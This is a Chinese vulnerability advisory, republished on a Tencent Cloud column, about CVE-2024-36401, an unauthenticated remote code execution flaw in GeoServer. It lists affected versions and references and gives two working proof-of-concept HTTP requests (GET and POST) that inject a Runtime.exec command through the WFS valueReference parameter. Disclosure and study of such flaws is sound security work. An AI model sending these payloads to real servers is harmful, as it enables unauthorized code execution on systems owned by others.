前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)

CVE-2024-36401|GeoServer 未授权远程代码执行漏洞(POC)

作者头像
信安百科
发布2024-07-12 16:25:30
1180
发布2024-07-12 16:25:30
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

GeoServer是基于Java 的软件服务器,允许用户查看和编辑地理空间数据。使用开放地理空间联盟(OGC)提出的开放标准,GeoServer在地图创建和数据共享方面具有极大的灵活性。

GeoServer允许您向世界显示您的空间信息。实施Web地图服务(WMS)标准,GeoServer可以创建各种输出格式的地图。一个免费的地图库 OpenLayers 已集成到GeoServer中,从而使地图生成快速简便。GeoServer基于GeoTools(一种开放源 Java GIS 工具包)构建。

兼容WMS和WFS特性,支持PostgreSQL、Shapefile、ArcSDE、Oracle、VPF、MySQL、MapInfo,支持上百种投影,能够将网络地图输出为jpeg、gif、png、SVG、KML等格式,能够运行在任何基于J2EE/Servlet容器之上,嵌入MapBuilder支持AJAX的地图客户端OpenLayers,除此之外还包括许多其他的特性。

0x01 漏洞描述

GeoTools 库的 API 在处理要素类型的属性名称时,会将这些属性名称不安全地传递给 commons-jxpath 库进行解析,由于 commons-jxpath 库在解析 XPath 表达式时可以执行任意代码,从而导致未经身份验证的用户能够利用特定的 OGC 请求参数远程执行代码。

0x02 CVE编号

CVE-2024-36401

0x03 影响版本

2.25.0 <= GeoServer < 2.25.2

2.24.0 <= GeoServer < 2.24.4

GeoServer < 2.23.6

0x04 漏洞详情

POC:

代码语言:javascript
复制
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

代码语言:javascript
复制
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

0x05 参考链接

https://github.com/geotools/geotools/pull/4797

https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档